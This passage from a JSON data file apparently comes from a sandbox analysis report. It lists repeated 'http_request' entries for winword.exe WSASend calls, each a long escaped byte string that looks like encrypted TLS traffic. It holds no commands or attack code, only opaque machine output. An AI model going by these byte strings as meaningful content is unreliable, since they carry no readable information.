  622. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010$\\x9er\\x9d\\x8fg\\x13-\t\\xe9d'\\xa3\\x1c\\xb7q|s[+g\\xbe\\xdf\\x98,\\xa5\\x843hlx\\xf3\\xffy\\xafw{2\\x06\\xcd\\x9c?e7\\xec\\xafq\\x8e\\xa3d\\xba&f\\xe3-\\xa42\\xf7\\xfc$\\xa0\\xcfd\\xe4\\x1a\\xb3\t&\\x12pow\\x1a\\xf3\\xce\\x02\\xe8/\\xed,\\xa1\\xa6-\\xb8\\x08\\x8fr'>\\xf6\\x90\\xd0\\xf7\\x99%\\xd1\\xf8jfz\\xf7\\xa2\\xd1q\\xb1\\xfd\\xe0\\xc2\\xb9\\x84k\\xb1t`\\x1c\\x83\\xa8!\\xe3c\\xc8\\xfes\\xe3\\xc5\\xc0\\xf5\\xf6\\xe2\\xbbe\\xe9<\\xc3\\x9dxh=\\xf1law\\x7fw\\xc0\\xef\\xf6\\xc4\\x16p\\xa0\\xc3\\xe7\\xd5b#m\\xf0wu4\\x95\\x82k]\\xb6o\\x95\\x81\\xf3\\xc0\\xf9\\xc2\\xc7r\\xe0\\xea\\x9b\\x8d\\xb0\\xe5\\x99\\xbc(\\xde\\x9a\\xfc\\xed\\x85q~a\\xb5\\xbb\\xda5\\x88\\x82\\x08\\xfe'\\xc2\\x02i\\xe8\\x9c\\xde\\x16\\x8c\\xa8\\x8c\\x19\\xffw\\xb2\\xfc[k\\x7f\\xbe\\x8d\\x1e\\xe9\\xbb\\xd8\\xa7w8\\xfel\\x0e\\xdc\\xee\\x15\\x02\\xdd\\xfft*\\xea\\xae\\x05\r\\xed\\x1f\\x8f~\\xe5\\x07}\\xe5"
  623. },
  624. {
  625. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010m\\xdd\\xcf\\x1eu\\xe6\\xfcsr\\xdee\\xd4/\\xe8\\xc3\\x17\\xac\\xdf\\xf1\\x87:\\xb8\\xa6 \\xfe\\x15\\x1da\\xf0\\xf9]\\x1er\\7\\x92\\x9a\\x81:\\x00\\xce\\xc7\\x9ff\\x07s\ne\\x9a\\x9f`{\\xfa*\\xef:~e\\xe8\\xab\\xab\\xf7\\x9bv\\xfc\\x8c\\xfe\\xe6\\x19\\xd3)\\xa9\\xd9x\\x03>'\\x85\\xdar}\\x1d\\xfe\\xfa)\\x97\\x04\\xb2\\x14\\x93\\x90\\xf9\\xfb\\x82\\x89gr2\\x1e\\xf6\\xb4\\xa7k\\xba~\\xe7\\xe3\\x95\\x8d\\x0e\\x97t\\xbbc\\xcb\\x98ji\\xf1\\x96\\xce\\xf4qw\\xecc\\xf2\\xfb\\xa1\\x1a\\xb8\\xda*\t\\xbfw\\xf0\\xdd\\x0e\\xe1\\xec%\\xc9\\x1d<8\\xf8]\\xda\\x8c\\x8dv\\xcc\\xf2\\x98\\x05\\x82\\x82e3\\x19\\x05\\xd34\\xc7\\x16\\x0f`1\\x8b\\x88\\xcep\\xaf\\x11\\xa8or\\x9a\\xe1\\xa2\\xd3g\\xb74ce\\xa3\\xb8%x\\x99:\\x8ab\\xf8a$c\\xa5\\x84\\x8e}1\\xb3\\xba\\xbe\\xea3\\x96wt\\xbbngz\\xd7k\\x08\\x1f\\xa2\\x86\\xday\\xf0\re\\xdc\\xd9\\x03v\\xc8\\xea\\x16\\x15j\ni\\xc7\\xf9\\xce\\xdc\\xc6\\x88\\x9df\\x9a\\xd4\\xb5\\x9f\\x18"
  626. },
  627. {
  628. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe6\\xb6\\x1f[\\xad\\x92\\xff\\xd0\\xd7\\x16\\xab|v\\xe1\\xb0\\x14\\xf4d\\xd7\\x04m\\xd7\\xab\\xe6\\xb4rx\\xd8\\xbc\\xa9\\x1f[\\x049\\x16]\\x14\\xe3v\\x81\\xd6\\xd1\\x910\\xe0\r\\xfd\\x8f<\\xde\\x96\\x18\\xf9.\\xed\\xd2\\xd1,j\\x91\\xb3v\\x91s_\\xa8\\xaf\\xeb\\x06\\xd4\\xb1\\x01&\\x17\\x88)\\x8an\\x8b\\x1e(k\\xcaf\\xb5\\xf0\\xf6\\xa5xh\\xfc\\x15\\x87\\xadi\\x82\\xaf\\xd8\\xa3\\xcd\\xf7\\x06\\x94\\x80\\xd1\\xb8a!\\xaea\\xd8g\\x91\\x9c\\x81\\xa8\\xf8i\\xc2\\xf4c\\xbcw\\xe6\\xa1&\\x86tj\\xf9=\\xee\\xd2u*\\xc6\\x05\\x96m\\xd0-\\xe9,\\xccjey\\xd3\\xb7\\x1b%\\x87\\xe6\\x83\t;95o\tk8\\x90]\\xa2\\x88p\\x0e&\\xfe\\xba\\xe0\\x15\\x16\\xfe\\xe1\\xf4\\xe7\\xe5\\x01\no\\xacl\\x0f\\x03l\\xbb\\xf9f-\\x7f\\xf9\\x96lu\\xc0\\xc1by\\x19\\x15\\xab\"\\x10\\xbf\\xd2=\\xdfy\\xd0ap\\xb2\\x04\\xe3\\x843\\xb4_\\x1d`\\xfbm\\xc9\\x0e\\x97\\xba\\xb5w-k\\x87@\\xc7b\\x95\\xf9\\xee~\\x82\r\\x9d\\xbe\\x0e\\x8f%%\\x87\\xe3\\xad"
  629. },
  630. {
  631. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010c\\x8d\\x81\\x9a\\xee\\x80\\x94\\x81\\xbe\\x7f\\xc4\\xcc\\xe3\\x17\\xb42h^q\\xec\\xb8$\\x06\\xd8\\xb6\\xf3mx\\xac\\xaf\\xa5\n5>t\\x14\\xb3\\xd9v$k*\\xdf\\x02\\xf4\\xcb\\x80\\xfc}\\x8a)\\xdc\\x1d\\x0c\\x95\\xc3fn\\x8d\\xdaz\\x8c\\x0e\\xed<\\xbbs\\xe6!7<\\xfb0\\xe3i\\xe7\\xd2{<\\x00\\xa2&\\xbe\\xef\\xfa\\xf4\\xdf\\xf2c\\xe7t\\xcbr\\x14\\x99h\\xe9\\xb6e*\\x96\\xe36\\xc4\\x9f\\x81\\xb6s\\xe0g\\xf3\\xda\\x12(<\\xfa\\x0bap\\xfd\\xda\\xb3*\\x02_\\xa3xl8\\xc8\\xbb\\x90\\xdb,(\\xb2xb\n\\x8c\\xe0h\\x98b\\xb8\\xc8\\xc1\\x95\\xbf\\xf7\\xda]&v\\xeb\\xe2\\x00_\\x92\\xf4\\x1b\td\\xca\\xeb\r\\xd1\\x82<\\xb2x\\x08\\xc5\\xcf\\x88\\xcc1)7i\\x11\\x0e\\xd6\\xeb-\\x9ay\\x06\\x0e-\\xd5\\x03p\\xf7\\x92j'|\\xb7\\x11\\x17zx\\xfa\\xd4_[\\x04#%\\xb9{fhl\\xc0\\xd4\\xbd\\xa2\\xd2h\\\\x05\\x02\\xc8f\\x86:\\x15\\xbd\\xd1*a\\xc9$\\x1e*\\xa2l\\x1d\\xd3\\xcep\\xc4i%dug\\xc8\\xf5"
  632. },
  633. {
  634. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xafvu\\xef\\xdd\\xa9ev\\xa2w\\xe3\\xa0z\\xe3\\x88k\\xee\\xb1=\\x91\\x02\\x07\\xcf\\xc1\\x95\\xc2\\xb3\\x84\\xe7\\x93dt\\xcby\\x1f\\x90\\xb6`m\\x99whe\\xf4\\xdf+\\x08r\\xd6d\\x80<\\xf7w\\xb7\\xd2\\x13\\xf2w1\\xe6\\xe7\\xc9\\x86lx\\xde\\xf4ev\\xcc\\x11\\x18\\x00\\xc2\\xe6\\x9bvz^\\x9e\\xd7\\xc1ksj\\x0f|\\xe4k\\x84(\\x0f\\x13qf\\x06\\xfa\\xf6\\x9c\\xca\\x1c~\\xa4\\x9a\\xa2v\\x1er\\xa0\\xb5;\"\\x11\\x0f\\xa3\\xb9x\\xf9\\x80\\x89s\\xb1\\x96\\xf0~\\xe5\\xc7ep\\x83\\x88\\x9c\\x8de\\xbf\\x7f\\xfe\\xef\\x87\\xd5x\\xc5\"\\xdfi\\x93\\x14\\xdck\\xa0y;\\x14\\x941\\xec\\x92\\x05\\x19\\xe4!\\x05\\xfa\\xaa\\xce\\xfd\\x05\\xb8\\x7f\\xcfb\\xbcn\\x1e\\xd6:\\xa2hje\\x8d\\xed\\x12\\x8d\\xbe\\xb8e\\xd2/'\\xf5w;o\\x8f\\x0cmv\\xab\\x08_\\xe3\\xa1\\x10\\x91]y\\xf1\\x13\\xf1\\x14\\xb1\\x8d\\x8c\\xe1\\xfb<s\\x03m\\x96\ta\\xad\\xcbm\\xdf\\xa2\\\\x1d\\xd8\\xdf\\xd6\\xf8\\xa0|\\x0b[\\xe1v;p\\x9e\\x9b\\x89\\xeb\\xff\\xa0\\x07\\x08"
  635. },
  636. {
  637. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\x15py\\xc1\\x07|\\x1c#\\x1d\\x05>#\\xa7{s1\\xeb\t\\x91\\xa4~\\x08\\xf4\\xf0\t\\x7f(3\\x13'\\xb8\\xa6(\\xec\\xae\\xd9\\xf8\\xb0\\xf3r\\x03\\xad\\xf0&\\x92\\x18(\\x81y\\x15\\xd7\\xa2rh\\x03c\\xbct\\xbf\\xb5\\xd4f\\xfc\\xcf\\xf6\\x01zp\\x98\\xb30)\\xa10\\x0b2\\xf2\\xc5\\xbc\\xf5o\\x1c\\x98\\xcc\\x99\\x04\\xd3))\\x8cl\\x82o=\\xcc\\xbb\\xccpcc\\xec\\xa5\\xdb(\\xd3l\\x03z\\x81\\xccq\\xc6r\\xbb\\x97\\xe7\\xc0lr\\xb8\\xd9\\x1at\\xbf\\x8c\\x842\"\\x8e\\xe8e\\xbd\\x9d#\r\\xfc^\\x86ts\\xe7\\xef&\\x95\\xee\\xea\\xc3u\\xf4>q\\x00a\\xec\\x05%\\xa0\\x1f(p\\xd4g`\\x9f\\xe9>\\x02\\xa6g\\x04-\\xcdr\\xa2\\xdf\\xa3vt\\x1f\\xa8\\xb7\\xb2\\x13\\xf2\"\\xf3\\x97\\x17\\xfeg\\x18\\x93\\x1b\n(}\\xf6n\\xf9\\xf1\\xb48>\\xaac\\xe4\\x13\\xb0\\xf3l\\x9b\\x1e\\x05uo\\x8f\\xbf\\xce\\x9c\\xbfhc\\x08-\\xb6u\\xe7_u\\x8a\\x85f[\\xa5\\x1a\\x90l\\xdd\\xc2j\\xd2\\x13\\x98r\\xc67\\x1e#.\n"
  638. },
  639. {
  640. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf9\\xc8\\x998\\x90m\\xd6:l}\\x80n\\xd2d\\x07\\xf1\\x0b<\\x97\\xf4\\x9f)hd\\xf5\\xbe[\\x17\\xcep\\xba\\x82e\\x83\\xd1\\x92\\xf8\\xda\\xa9\\x02\\x07\\\\xd7x\\xb8\\xc3\\xf9\\xcd\\xb4\\x1b\\xfb5\\x93y\\xe0\"\\x1b|\\xfc<\\xab/\\x91\\xc96\\x98\\\\xd8[\\x90q\\x0c-\r\\xaf\ng\\xe0\\xd9\\\\xf8t\\x86;\\xbb\\xcf\\xb1\\x1bx^`\\xee\\x1f}a/\\xba\\xf6j\\xe1\\xea\\xe3d\\xf4\\xc6\\xca\\xb2\\xdfwisv\\xc0(\\x8e\\x877\\xde\n\\x94\\xb2\\x1b\\xc0\\x89\\x05\\x9c.\\x10%\\x84;\\x18\\x19\\xdf\\x14\\xb1)\\xb44\\xe4\\xf4\\x9a\\x15\\x97dz^\\x89\\xcb}\\x1b\\xc2l\\xe4\\x11\\xf2\\xbc\\x8cc\".\\x06\\x88n\\x8a\\x0f*\\xac\\xd1\\xb7\\xb2\\x1f\\xa7\\x11e\\x00\\xa4^\\xfb\\x85\\xb1\\x92\\x008{\\xc1\\xe2\\xf4\\x05\\x90*\\x05\\x18\\xe5\\xcb\\xf0\\xc3\t\\x03\\xd9\t\\xc5\\xa0t\\x98^'\\xa2\\xd7ch\\x18\\x92\"\\x16\\xe2\\xd9\\xce/4\\x18\\xa9iy\\xda\\xdc\\xaay\\x04\\x7f\\xce<\\x8c\\xa8a\\xfd\\xdd\\xdf\"i\\x94\\x0b\\x8d2\\xb52k\\xaan\\x89\\x92"
  641. },
  642. {
  643. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0106\\xb7\\x97\\x08u\\xe51\\xaa\\x91h\\xe8ss\\x90)=\\x0b\\x1f\\x19\\x922\\xde\\x18a\\xd7m\\x82\\xab=\\xe51\\x8f\\xe3p\\x1d0\\xe4\\xe0\\x05s\\xe6\\x8f\\x13n\\xdd\\xb2^?k5\\x0e\\x12\\xbf.\\x03~\\x14\\xb8(o\\xe8\\xdd\\xf7\\x81o\\xc5\\xb6y\\xb8\\x0cp\r\\xd1y\\xa9\\x11f\\xa9\\xc0\\x17p\\xc7\\x9a\\xab\\xf3\"w\\x97\\xf6o\\x94\\x9fzp\\x82\\xf6}\\xfck\\x8e\\xe3<\\xcb\\x1b\\x8a\\xbb\\xc5\\xcf`-\\x93\trj\\xe8b~\\x17\\x9ad\\xffs\\xfe\\xe4\\x1b%\\xd7\\xae\\xc8i\\x19/\\x8b\\xd5\\x12\n4\\x8f\\x00\\x16\\x14\\x96\\x006|\\xc5\\x90\\x8b\\xaa._\\xb1\\xe6\\xa6\\xe9~\\xec#\\xa9\\xf8\\xde\\xb2\\xb9\\xa8\\x0e\\xe5\\xaa\\xcfk\\xa3\\xadl\\x16v\\xd2\\xbb\\xb8\\xaez\\xa0'\\xca\\xe7\\xcf\\xee\\xe9t\\x07j\\x9b\\x19\\xcf\\8i]\\xc08\\x1c\\x1c;\\xa4\\xe9\\xb5aqz/\\xd0g\\xf0\\xebe\\x01\\xc6\\x05\\xd4x\\xda\\x84\\xd2\\xfd}\\xce\\x901cl\\x1d\\xf0\\xdf\\x88v3l\\xab\\x89\\xa5nv\\x06\\xa4\\x02\\xab\\xe9b\\x8f(\\xc8\\xd3\\x94"
  644. },
  645. {
  646. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdcc\\xd6vb\\xb6p\\xbb\\xce~\\xabp\t\\x0c\\xb9\\x14\\x00\\xd1\\xafp8\\x85\\xd7\\x7f\\xdc\\x17\\xeb\\xbcg\\xdb*[\\xda\\xff\\x11\\xfb7\\xa4\\x9e\\xdc\\x98\txr\\xbebr\\xecwf\\xca\\x01\\x8al\\xc1\\xcc*k\\xe8\\xact\\xb2\\xdf\\xd0\\x11\\x06\\xb2\\x07\\xca-\\x7f\\x7fh\\x16\\xb3#n\\x89uu\\x19\\xf2\\xf5v\\x96\\xf6(\\x05eh\\x87\\xfa6\\x01\\xaa\\xb4oh\\x08v\\x17\\xa4\\xe0d\n\\x98\\x0c\\x91h>d\\xa6\\xa6y\\xfe\\x07\\xf6~\"\\xe7\n\\xb0b\\xd1\\xca\\x1d\\xee$\\xa1\\xbb;\\xe9\\xfb\\xfe\\xf9a\\xa0\\xeaj_b\\xce\\xeca.\\x1c8\\x17zhy\\xfa?\\xba\\x07\\x1d\\xa6\\xb1#\\xf0\\xabexcb\\x82>\\xf8\\x0bm\\xc8\\x9cou\\xe0t\\x8b\\x99\\xa4\\x87\\x04\\x9e\\x85\\xc8\\xfdu\\x94*\\x9f7h6\\x8c\\xe4\\x82\\xcej#\t[\\x9b\\xfb\\xa9=l|r%\\xe9sw\\x84\\x99\\xdb\\xf1\\xbd\\xdd\\xe0m\\xb3\\xf5\\x9bm\\xf3as\\x91g\\x01\\xf4\\x9a\\xee\\xcb\\xb7c\\xed\\xca\\x80\\xf2i\\x7f~w0\\xb2\\x0e\\x1a\\x9b;]b"
  647. },
  648. {
  649. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010q~\\x8c\\xaf\\xd4\\x15\\xe8m7\\x92\\x01\\xd0\\x1b\\xd7\\xb5q\\xd1u\\xf9\\x01\\xb7\\x8a\\xe5\\xdc\\xfed\\x8a\\xb21_qpz>\\xf15\\xc4;d\\xa6p\\x86\\x83\\xd1\\xf9\\x1b\\x1b\\xe8\\xf4p\\xb6\\x0e\\x1b\\x92=<\\x83tch\\xdd\\x15\\xcf;^r\\x87\\x86\\xcf\\x9d\\xa3b\\x1f\\x9bk\\x1f\\xc2]\\xce\\x00s#p\\x98\\x87\\x9an\\x7ffyfh\\xdf\\xfd\\x07|'\\x7f\\xeaa\\xcd@\\x04\\xe04\\x9ap_.l\\xbe8w\\xf6\\x04\\x0e\\x90\\x1b@\\xa2\\xe3\\xd6vy\\xb2gk\\x19\\xc9\\xbf\\xee\\xb3\\xc5\\xd2\\xe2\\x18\\x92\\x1aky\\x16\\xa5\\xb3g\\xa91&\\xb1\\x1c\\m\rf#\\x86q\\xb3\\x93\\xe2\\xd7\\x11\\\\xc2\\xc9\\x91\\xb4o\\x8agtl\\xf4s\\xa0'\\x06\\xb8\\xecgs\\x1e\\xaa\\xbc\\xb3\\xe2\\x1b\\xf6m<a=u\\xf6\\x8ad\\xa1m k?\\x0c\\x18j_\\x7fc\\xe0\\xbe(\\xb7qa_,\\xe9\\xc1\\xe3$\\x91&\\xe8\\xe2\\xeb-o\\xbe\\xff\\x94ix\\xe9\\x8e?\\xa1\\xc9b\\xca \\xa3x\\xcda\\xe9\\xb3+\\xa4\\x94\\x0c\\x8f`\\xe7"
  650. },
  651. {
  652. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x92\\x1f\\x12}id9\\x0c\\x8c*r\\xac\\xbe\\xc1/\\xca\\xe47%\\xe0><d\\x82\\xe9im\\x93\\xcb\\xc7\\x86\\xa5q\\x9c\\xd4\\xbau\\x1a\\xc7\\xc6\\xbc\\x19 j\\xae`\r\\x11\\xc9(\\xae\\x06+\\xe2\\x1a\\x94\\xd8p\\x88\\x9a\\xc9\\x0f\\x8d\\x88?\t|\\xa1u\\xa5\\xbf\"^*\\xe7\\x01\\xe1l\\x1b`\\x1c4\\x00fhpvdycj\\x9eu\\xdb\\xb2t\\x8eib\\xb4q\\xa2\\xf2i\\x97\\x13o\\x0f\\x99\\xc8.q\\x9c_\\xfe\\xf6\\x0f\\xe7\\x8a\\xfe\\x7f\\xdd\\x9d\r\\xbc\\x04\\xd2\\xb7\\x078dcl1\\xe9bo\\xdfnk\\xe46\\x1d6\\x9c\\xf5\\xea\\xd8)\\x8d\\xf5\\xe6j\\x13\\xfe\\x19{\\x89\\xd3\\x00\\x9c\\xe28tu\\xc5\\xf1\\xb3i\\xf8c\\xdd\\x1b\\x9d\\xcf\\x85s\\x06\\x0c\\xdb\\xdd\\xf3!\\xad\\x81\\xab]\\xf5q\\xb7\\xf9smx\\\\x17\\x97\\xd5\\x9f\"\\xf0\\x03\\xcf\\xd5>6\\xb3vd+\\xd4>!\\x97qv;\\xdc\\x9cb\\xb0(\\x9a\\xc8!o\\x05gc\\x88$l,\\x97\\x7f\\xfc\\x00\\x83~x\\xff\\xd5azj\\xd3k\\x08\\x9b3k"
  653. },
  654. {
  655. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l]\\xfe\\xa0k\\x0f-_\\x93\\x90o\\xbf,\\xe9\\x85\\x17v=\\xfd\\x9du\\x8cr>\\xad>\\xe5\\xa0u{\\x8bb\\xa0\\xb9\\xf2\\x9c\\xda\\xa1\\xb9j\\xf0]b\\xca\\xda\\xc5\\xe3\\x90\\xe2,\\xe15\\x93<\\xfd\\xdc\\x88\\xc7!sb\\xf3\\xc4\\xe9\\xabj\\xd9\\xb3\\x1b\\x95\\xe6h=\\x9d\\x12\\xd8]\\xf2\\xc8\\xc4\n\\xc5\\x19\\xfe\\x7f\\xda\\x0e\\xf2\\xe1g\\x0c\\xa2\\xe37\\xb2\\xe2'\\xba\\x91\\xa0\\xd4p\\x0f8\\xfbs\\x1b\\x9b\\xf0\\xcb1\\xda\\xdeq\\xf6n\\x01\\x04\\xbebl\\xab\\xbe\\xc5\\x13\\xb6ito\\xe8\\xb3ym\\xc2!t\\x04\\xa31\\x11\\x06\\x98\\x05\\x96&\\x823\\xa5\\xbf\\xb2\\x9a=v\\x1e\\x96\\xbb\\xa8wy-|<z\\xbc\\xe7\\xc2n!\\xa0\\xa8*\\x88\\xe4\\xe0hozvp+\\xc5;,\\xde`\\x84\\xd0\\xa0\\x11\\x8a\\x9fci\\xcf\\x15\\xf4\\x1a|\\xee}w\\x9f\\xbc#-\\xc7m[\\xcc\\xf6\\xec&\\xa5m\\xaa[h\\x83?c5?\\x8d\\xd0\\xc4%\\xf3\\xe7\\xb8\\x88s\\xb1\\xfb:y\\xa1\\xdaq^\\xeb\\x12\\x99\\xaat\\xe5\\xde\"@r\\x03\\xf6"
  656. },
  657. {
  658. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82\\xfa\\x8c!\\xe65\\xf7i\\xe6\\xad\\xa4\\x89/^\\xdf\\xc1\\x1d\\x7f|\\xd0i\\xea\\x97\n\\xc6d\\x10$\\x8e\\x8c\\xd6\\x9b\\xb7\\xb3\\xc8a\\xabtr\\x1e\\x8c\\xee\\xf6:cml\\xf9\\xcf\\x7f\\xbe\\xf2\\x07||h\\xeb\\x9e\\xd7\\xb4z\\xc7\\xa8\\x05vv\\xccv\\xdb\\x19~\\x03\\xc2\\xc1a2\\xba:\\x7f\\x9d\\xc8\\x06&+\\x04\\xda\\xcfa\\xc7t\\xac\\xf4\\xe4y\\:\\xb7vz\\x01!\\xb7.\\x0f\\x95\\x01r\\xcd\\xbd\\x86!\\x0cga\\xd1\\xb5\\xd2\\x89\\x16\\xb9\\xa7h\\xfb\\xf6\\x8e\\xda\\xc7\ns\\x0b\\xcc\\x84\\x13\\xc4\\x828\\xff\\xa9\\xf7\\x9a2h\\x08\\x04\\xe9\\x05\\xdes\"\\xea\\xfe\\xe7\\xbb\\x8e\\xf3\\xa8\\xd2\\xa9&5y\\x99@\\xc4.\\xf1j4\\x16\\x1c\\xd3\\xf9\\x07l\\x91t\\x0f\\x82\\xfc\\xd1\\xa7\\\\xd7\\x80\\x8a\\xa3\\xa0\\xee\\xb2]e\\xe5@o\\xbd\\xcd\r\\xcbya\\x90h;\\x02\\x9b]9\\x1c\\x1d\\x1f\\xdc\\xae.\\x17\\xc4\\xf3o\\x9bp\\xee\\x8d\\xfc_g3\\xd8\\xda\\x17\\xa3[@*e`\\xeatm\\xb3\\xb7#\\xe8(\\x04:\\x01f\\xf6\\x96;-\\x8c"
  659. },
  660. {
  661. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa7\\xadhv\\x8fb\\x1f3\\x0f\\xdf\\x17h\\xfe\\xf4e\\xcecfg\\xa0^e\\x93\\x9ewn1\\xe4\\x87\\xe3\\x9b\\x86r\\xb3o\\x92\\xfa\\xcf\\x97\\/\r(xr\\xd5\\x9d\\x80\\xfd\\x1f\\xc1\\x975r{)[\\x98\\xb7\\xbb@\\x80\\xe5#\\xc9\\x85l\\xd7\\xc3y)\\x1c\\x96\\xfcrz(x#\\x91c\\x9dk\\x92\\x89\\xe5\\xd1n\\xc4\\x1f\\x16\\xb6\\xbb\\xcc\\x0cgn\\xc2&\\xca:\\xe9\\xb5\\x8d\\xca\\xf0\\xc5l\\xfd\\xeab\\x84\\x02\\x97\\xbc[\\xc8\\xcb\\xf4\\xd1l\\xe7t\\xe2b\\x0f\\xf0\\xde\\x06mt\\x13\\x022\\x05h'\\xb35\\x9b_\\xcc\\xe5\\xd4\\x93$\\x08'9ry\\xb7\\xbc+\\xa0\\xfd\\xf8\\xa1\\x18\\xc4#s\\x9di\\xaf\\xb5\\xc8\\x89da\\x9a\\xc14&<\\xac\\x8f<\\x83\\xd6\\xc2\\xde\\xe4\\xec%a\\xdc\\xdf\\xd7\\x8a4ou\\x7f\\xb7\\xee\\x8d\r\\xaf\\xed\\x87\"\\xc5>\\xc7\\xc2\\xb2bl\\xdbq\\xd9z\\xf6\\xbc\\xba\\xf9f!p\t\\xa7\\xd8\\xce\\xc4\\xcc\\xd3\\xe0\\x89'\\xc2\\xa0\\xd86\\x03q\\xb6\t\\x85\\xbe\\x1ab\\xa7\\xd3\\x98\\xb3/\\x8b'\\x1e\\x15"
  662. },
  663. {
  664. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010o)v^um\\xcf\\xb2\\x99[$\\x0f\\xecm\\xef:\\x18x\\x84\\x13\\xff\\x9e\\xf1at\\xb4zi\\xbf\\xc2)\\xeb\\xbc^3\\xa8\\x17\\x05g?\\xdeo\\x94\\xe5.\\x01\\xe3\\xd4\\xc5\\x87\\xc7\\xbb\\x05%\\x909\\xa0\\xcd3\\x15\\x8d\\xce\\xf9\\xcf\\x11\\x1c\\x7f'\\xe6\\xaa\\xedt\\xb5\\xcc\\xf3phuhg\\x0e\\xf9\\x9a\\xaf\\xb5\\x01\\x0ee\\xa0\\xd3q\\x10\\xefb=\r\\xe2@\\x16\\x0f\\xa1\\xb3\\xac\\xe9+d\\x03\\xe8\\xead)\\x14\\x93\\x8c\\x94\\x07b=qt\\xcf7\\xe4\\xa07\\xaa\\xed\\x19\\xd6t\\xfe\\xa0\\x9cz3\\xa5\\x8fu\\x90d\\xd1\\xf6=\\xdf\\xad\\xa6\\xfa\\xe52~\\xdbeo\\x1f\\x0ed\"\\x90 \\xc8\\x18k\\x1c\\xb3\\x9c\\xc7on\\xd4\\x0b\\xa6h=\\x18\\xdc\\xb1\\x7f'\\xc5w\\xf8y\\x9d|\\x0f\\xc0\\x18.p\\xb5=\\x18w\\x9a\\xc3\\x17t\\xc7[\\x0b\\x84o&\\xfbz\\xbe\\xae\\xa5\\x85\\x01nt\\x81\\xb3|\\xa0\\xcf\\xe5\\xd3\\xa1a\\x0c\\x07\\xf2\\xcb\\xe6\\x94\\x08y\\xd9\\xcd\\xbb3\\x95\\xb6n\\x88\\xd8\\xb9\\xad\\xecao0\\xf0g\\xad\\xe4:\\x8a\\xef"
  665. },
  666. {
  667. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xea\\xd4\\xa6\\xb3\\x96\\xba=\\xff\\xd5\\xaa\\x8d\\x80a\\xff`p|\\x0c\\x96\\xd9\\xdc{\\xe1\\x94\\xdb\\xbe\\x85\\xeac\\x080q0\\xcb\\xfe\\xe0k\\x14t\\xb3\\xd4k\\xf18\"\\xe1\\x86\\xf5\\x1f\\x04\\xdb\\xa54p\\xe7da\\xa9\\xef\\x87\\x0e\\xc2\\xaf\\xee\\xd96|l\\xadvj\\x05p_\\x04\\xd8\\xcdj\\x94\\x80d\\xe0n\\xa0\\x13\\xa7\\xc1\\xd3>?\\xf8\\xcdx\\xc1\\xa1\\xa5z\\xd0q\\xf3%)`}4\\x\\xec\\xd6j\\x88\\xed\\xb8a\\xd3\\xf6=\\x9f\\xa4\\x89)-\\x87\\xf9\\x96s\\x94 jhf\\x96\\xa7'\\x00a\r\\xdc*\\x9d\\xd3\\xbc\\x91\\xdc)!g_\\xda\\x81\\x024\\xc6\\xfbe2\\x12\\xa7\\xdd\\x0b~p\\x82l\\xf1\\x05\\xbc),3 \\xe4\\xd8yiwq\\x00\\xe9\\xec\\xc3\\x18r\\x88\r\t\\xddg\\x82\\xcb0\\xbc\\xfc\\xe6\\xf4\\x96/\\xdd\\xd9l3q\\xc7\\xa7\\x944\\xa5l\\x13\\xc3\\xf0\\xb1u\\xd2h\\xc5\\xd9\\xd8\\xb5\\x03v!\\xb2\\x97\\xce\\x06\\xde\\x91\\xaf\\xb8\\x8a\\xcb\\xc8\\xdb\\x01\\xd5\\xc4g\\xe7o\\x9fne\\x05\\xdf\\xe1czxs\\xa2"
  668. },
  669. {
  670. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe6\\xd3\\x17\\x0f\\xfbh\\x86\\x92asf\\x05n\"\\x84\\x18\\x81\\xd1\\xbd\\xfbr\\xbbvw\\x02k\\xaf\\xd7\\xb2\\x94q\\x87m\\x15\\xc7\\xdff\\xe9 \\xb1\\xf0v\\x9b\\xfd\\x19vb\\x82n\r\\x1bf\\xed\\xb0\\x85\\xec!\\xdc\\xbb\\x04\\xda\\xd2o\\x8f\\xe8\\xe6\\xba*\\xf8\\x98j\\xf0\\x8a\\xbbqa\\xc0\\x9d\\x8c\\xd6\\xa6w\\xcc\\xff3\\x13\\xc1\\x7f%a\\x10\\xf0c}\\xb6\\x82\\x99w\\x1c\\x94\\x99\\x08\\xb8\\xd7\\xaf\\xdb)/.\\xb1\\xe9\\xc0fim\\xa0\\xa8y*\\x7f\\x0c\\xe5l\\x10\\x82\\x06\\xf1\\xa8\\x7f%\\x80\\xf7\\xbd)\"k\\x08i2wrhi\\xba\\xd6\\xd6r\\x1bl3rc\\xc1\\xc0,ojt\\xfe\\xb5\\xd7\\x14\\xbc\\x02\\x0eq\\x1c\\xa1\\xb6@\\x80\\xc9\\x94\\|\\x18\\xcdq\\xe5\\x19p\\xadd\\xfe|;\\x90\\xdf\\xb9\\xf2\\x1ai1z\\xda\\x9cb\\xd9\\xf3$j}v\\xaa\\xf4\\x1f\\x0b;\\xde\\xf5e\\x0c\\x8d\\xda\\xb6u/\\xbf\\xd6\\x83^\\x1a'#\\x84\\x89\\x88\\xa5n\\xc2.\\xd6(\\xdfp\\xf9\\x85\\xc8\\xdf\\x05\\xd7s\\xf9\\xf8\\x9a_g\\xd2[\\xae\\x02"
  671. },
  672. {
